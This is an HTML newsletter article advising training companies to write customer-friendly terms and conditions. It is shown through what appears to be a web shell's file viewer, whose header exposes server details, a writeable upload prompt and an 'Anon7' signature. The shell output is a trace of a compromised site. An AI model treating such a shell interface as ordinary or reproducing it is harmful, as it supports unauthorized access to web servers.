KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/efusion1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/efusion1/111599b.html
<html>
<head>
<title>How to Write Training T's and C's That Sell, Not, Repel.</title>
<meta name="description" content="Hostile language and one-sided policies can mark you as an arrogant training supplier that's difficult to do business with.  Here's how to write customer-friendly contracts that still protect your business interests.">
<meta name="keywords" content="training master agreements, training terms and conditions, training contracts, course cancellation, course no-show, course reuse, course copyright, intellectual property, course license fee, purchase agreement, discount">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link rel="stylesheet" href="fusion.css" type="text/css" />
<script language="JavaScript" src="includes/global_code.js" type="text/javascript"></script>
</head>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="MM_preloadImages('images/sidenav_home_on.gif','images/sidenav_capabilities_on.gif','images/sidenav_answerplans_on.gif','images/sidenav_clients_on.gif','images/sidenav_resources_on.gif','images/sidenav_contactus_on.gif','images/sidenav_evisory_on.gif','images/sidenav_links_on.gif')">
<a name="top"></a> 
<table border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td valign="top"><img src="images/logo.gif" width="140" height="55" alt="E-learning, online learning, distance learning, classroom learning, CBT,
ILT:  however you serve it up we'll help you succeed." /></td>
    <td background="images/header_background.gif">
      <div align="right"><img src="images/tagline2.gif" width="460" height="51" alt="Helping education companies teach better and sell more." /><img src="images/header_right2.gif" border="0" alt="" width="30" height="55" /></div>
    </td>
  </tr>
  <tr> 
    <td valign="top" bgcolor="#FFFFFF"><img src="images/spacer.gif" alt="" border="0" width="1" height="1" /></td>
    <td rowspan="2" valign="top"> 
      <table width="485" border="0" cellspacing="0" cellpadding="0">
        <tr> 
          <td rowspan="3" valign="top"><img src="images/spacer.gif" width="25" height="1" alt="" /></td>
          <td valign="top"><img src="images/spacer.gif" width="1" height="26" alt="" /><img src="images/spacer.gif" width="460" height="1" alt="" /></td>
        </tr>
        <tr> 
          <td> 
            <table  border="0" cellpadding="0" cellspacing="0" width="453">
              <tr> 
                <td> 
                  <p><span class="default"> <b> How To Write Training T's & C's 
                    That Sell, Not Repel. </b> </span></p>
                  <p><span class="default"> <i> "Shoplifters will be prosecuted." 
                    </i> </span></p>
                  <p><span class="default"> <i> "Trespassers will be shot." </i> 
                    </span></p>
                  <p><span class="default"> <i> "Cancel your course enrollment 
                    without 10 days notice and we'll gouge your eyes out." </i> 
                    </span></p>
                  <p><span class="default"> Why do training companies who profess 
                    to love their customers take an adversarial, untrusting tone 
                    in their T's & C's? Perhaps because they harbor secret sadistic 
                    tendencies. More likely because they delegate this important 
                    assignment to their least customer oriented people. </span></p>
                  <p><span class="default"> Why does it matter? Because T's and 
                    C's come into play at the most sensitive moment of your customer 
                    relationship -- when purchase decisions are made. And hostile 
                    language and one-sided policies can mark you as an arrogant 
                    supplier that's difficult to do business with. </span></p>
                  <p><span class="default"> Tough talking T's & C's are also an 
                    invitation for customers to pit their legal eagles against 
                    your legal staff in an extended (and expensive!) War of the 
                    Words. Next thing you know, that done deal is done in by a 
                    torrent of insults, threats and guilty-until-proven innocent 
                    legalese that would take a Supreme Court justice to unravel. 
                    </span></p>
                  <p><span class="default"> Unreasonable T's & C's can also tear 
                    apart your own organization -- when your customer service 
                    people attempt to enforce them -- only to be made to look 
                    like heartless cretins when senior management inconsistently 
                    overrule them in a perversion of "bad cop, good cop." </span></p>
                  <p><span class="default"> There's a better way to go about crafting 
                    T's & C's. Here's how: </span></p>
                  <blockquote> 
                    <p><span class="default"> A. DON'T TRY TO PROVIDE FOR EVERY 
                      CONTINGENCY. </span></p>
                    <p><span class="default"> Try and confine your T's & C's to 
                      the business critical issues that are most susceptible to 
                      potential misunderstandings and bad feelings. Don't obfuscate 
                      things with far-fetched scenarios that are easily resolved 
                      by common sense or existing laws and regulations. </span></p>
                    <p><span class="default"> If you feel you must protect yourself 
                      against a kitchen sink of calamities and criminal intentions, 
                      consider developing a Master Business Agreement that you 
                      and your customer only have to come to terms on every few 
                      years or so. </span></p>
                    <p><span class="default"> B. POSITION YOUR T's & C's AS A 
                      CUSTOMER BENEFIT. </span></p>
                    <p><span class="default"> That's right, if a policy isn't 
                      good for your customer, then it's not good for you. So your 
                      T's & C's should read like good news and you should sell 
                      them as a competitive advantage. Let's examine three of 
                      the most common training-related bones of contention and 
                      see how this plays out. </span></p>
                    <blockquote> 
                      <p><span class="default"> * You decide to impose conditions 
                        on enrollees for canceling late or no-showing at your 
                        public course events. Why is this a customer benefit? 
                        Because you are helping to ensure enrollees who do show 
                        up that the class size and learning environment will be 
                        ideal -- and that they will not be inconvenienced because 
                        a class must be cancelled at the last moment for lack 
                        of attendance. Also, because highly populated classes 
                        make efficient use of your facilities and instructors 
                        -- helping you to keep tuition fees to a minimum. </span></p>
                      <p><span class="default"> * You forbid customers to re-use 
                        or copy your student materials without paying a supplemental 
                        per person fee. This is a customer benefit because you 
                        would otherwise need to pass this cost through to them 
                        as a substantial up front enterprise license fee. Also, 
                        because unauthorized use would require you to charge more 
                        to customers who do protect your intellectual property. 
                        Finally, because widespread indiscriminate copying would 
                        preclude you from investing in new courses for your customers 
                        altogether. </span></p>
                      <p><span class="default"> * A customer doesn't achieve their 
                        annual purchase commitment, so you take back some of the 
                        discounts and other concessions you would otherwise have 
                        awarded. This is a customer benefit because it treats 
                        all customers in an evenhanded way. You wouldn't want 
                        some other customer getting a bigger discount than you 
                        are getting unless they earned it, would you? </span></p>
                    </blockquote>
                    <p><span class="default"> C. OFFER A "WAY OUT." </span></p>
                    <p><span class="default"> There's little advantage in threatening 
                      severe penalties if a customer doesn't live up to the letter 
                      and the law of your T's & C's. Chances are you won't be 
                      willing to risk the business relationship enough to apply 
                      them. Better to offer palatable options that acknowledge 
                      many transgressions are simple mistakes or bad luck. Try 
                      offering a choice of options. It will help your customer 
                      feel more empowered. </span></p>
                    <p><span class="default"> This is a test: </span></p>
                    <p><span class="default"> John cancels out of your public 
                      course at the last minute because of a "family emergency." 
                      Should your T's & C's: (a) require John to forfeit his entire 
                      tuition no matter what; (b) insist on a notarized letter 
                      of excuse from a physician or clergyman; (c) offer John 
                      the choice of applying his tuition to another course over 
                      the next 30 days or receiving an immediate 50% refund. </span></p>
                    <p><span class="default"> Acme Industries falls $20K short 
                      of the $100K threshold they committed to in order to receive 
                      a 30% discount because "expected hiring didn't take place." 
                      Should your T's & C's: (a) require Acme to immediately purchase 
                      $20K worth of training materials whether they need them 
                      or not; (b) insist that Acme make up the entire difference 
                      between what they paid and list price; (c) call for a court-appointed 
                      auditor to verify Acme's hiring history; (d) allow Acme 
                      the choice of a reduced discount based on actual purchase 
                      volume or 3 additional months to achieve their original 
                      purchase volume. </span></p>
                    <p><span class="default"> D. DON'T USE INFLAMMATORY LANGUAGE. 
                      </span></p>
                    <p><span class="default"> "Violators will be prosecuted." 
                      "Non compliance may lead to fines and penalties." Too many 
                      training company T's & C's read like something out of an 
                      IRS field agent manual. </span></p>
                    <p><span class="default"> Remember, you're dealing with Fortune 
                      500 companies, not drug runners and money launderers. So 
                      don't use loaded words like "violation" "breach" "willful 
                      negligence" "misconduct" "infraction" "criminal activity" 
                      "fine" "penalty" and "dereliction." Stick to words you'd 
                      use in a friendly discussion. </span></p>
                    <p><span class="default"> E. ASSIGN RESPONSIBILITY FOR DRAFTING 
                      YOUR T's & C's TO YOUR MARKETING DEPARTMENT. </span></p>
                    <p><span class="default"> Yes, by all means, solicit the collective 
                      wisdom of all of your people in constructing your T's & 
                      C's. Let all of the Cassandras and the tough-on- crime types 
                      have their say. But assign the final cut to your best marketing 
                      person and make sure they know you are looking for sales 
                      promotion, not sales prevention. You'll be glad you did! 
                      </span></p>
                  </blockquote>
                  <p><a href="#Top"> <span class="default"> </span></a><a href="evisory.html">Return 
                    to back-issue index</a></p>
                  <p><a href="index.html">E-learning or Classroom Learning (Home Page)</a></p>
                  <p><a href="contactus.asp"><b>Subscribe for Free</b></a></p>
                  <p></p>
                  <p></p>
                  <p>&nbsp;</p>
                </td>
              </tr>
            </table>
            </td>
        </tr>
        <tr> 
          <td>&nbsp;</td>
        </tr>
      </table>
    </td>
  </tr>
  <tr> 
    <td valign="top">
	<table width="140" border="0" cellspacing="0" cellpadding="0">
		<tr>
		  <td><a href="index.html" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('SideNavHome','','images/sidenav_home_on.gif',1)"><img src="images/sidenav_home_off.gif" border="0" alt="Sell More Training &amp; E-Learning, Here's How" width="140" height="34" name="SideNavHome"></a></td>
		</tr>
		<tr>
		  <td><a href="capabilities.html" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('SideNavCapabilities','','images/sidenav_capabilities_on.gif',1)"><img src="images/sidenav_capabilities_off.gif" border="0" alt="Capabilities" width="140" height="34" name="SideNavCapabilities"></a></td>
		</tr>
		<tr>
		  <td><a href="dialup.html" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('SideNavAnswerPlans','','images/sidenav_answerplans_on.gif',1)"><img src="images/sidenav_answerplans_off.gif" border="0" alt="Answer Plans" width="140" height="34" name="SideNavAnswerPlans"></a></td>
		</tr>
		<tr>
		  <td><a href="clients.html" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('SideNavClients','','images/sidenav_clients_on.gif',1)"><img src="images/sidenav_clients_off.gif" border="0" alt="E-Learning &amp; Training Clients" width="140" height="34" name="SideNavClients"></a></td>
		</tr>
		<tr>
		  <td><a href="people.html" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('SideNavResources','','images/sidenav_resources_on.gif',1)"><img src="images/sidenav_resources_off.gif" border="0" alt="Resources" width="140" height="34" name="SideNavResources"></a></td>
		</tr>
		<tr>
		  <td><a href="contactus.asp" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('SideNavContactUs','','images/sidenav_contactus_on.gif',1)"><img src="images/sidenav_contactus_off.gif" border="0" alt="Contact Us" width="140" height="34" name="SideNavContactUs"></a></td>
		</tr>
		<tr>
		  <td><a href="evisory.html"><img src="images/sidenav_evisory_down.gif" border="0" alt="E-Visory" width="140" height="34" name="SideNavEvisory"></a></td>
		</tr>
		<tr>
		  <td><a href="links.html" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('SideNavLinks','','images/sidenav_links_on.gif',1)"><img src="images/sidenav_links_off.gif" border="0" alt="E-Learning & Other Links" width="140" height="34" name="SideNavLinks"></a></td>
		</tr>
		<tr>
		  <td><img src="images/sidecrn.gif" width="140" height="12"></td>
		</tr>
		<tr>
		  <td>&nbsp;</td>
		</tr>
	  </table>
	</td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021